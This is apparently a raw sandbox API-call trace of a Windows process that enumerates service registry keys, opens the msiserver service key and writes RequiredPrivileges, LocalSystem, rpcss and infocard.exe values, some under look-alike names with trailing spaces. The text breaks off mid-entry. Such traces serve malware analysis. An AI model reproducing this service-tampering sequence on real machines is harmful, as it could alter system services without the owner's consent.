RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0246.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0246.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0246.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0246.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0246.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0246.503] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0246.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0246.503] RegCloseKey (hKey=0x154) returned 0x0 [0246.503] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0246.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0246.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0246.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0246.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0246.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0246.504] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0246.504] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0246.504] RegCloseKey (hKey=0x80000002) returned 0x0 [0246.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0246.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0246.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0246.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0246.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0246.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0246.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0246.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0246.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0246.504] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0246.505] RegCloseKey (hKey=0x14c) returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0246.505] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0246.505] RegCloseKey (hKey=0x154) returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0246.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0246.506] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0246.506] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0246.506] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0246.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.507] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.507] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.507] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.507] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0246.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0246.570] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0246.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0246.570] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.570] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.570] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.571] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.572] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.572] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0246.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0246.572] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0246.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0246.572] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.572] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.572] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.572] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.572] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.572] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.572] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.572] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.573] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.573] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.573] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.573] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.573] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.573] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.573] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.573] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.573] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0246.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0246.573] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.574] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.575] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.575] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.575] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.575] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0246.575] CommandLineToArgvW (in: lpCmdLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" [0246.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0246.575] RtlAllocateHeap 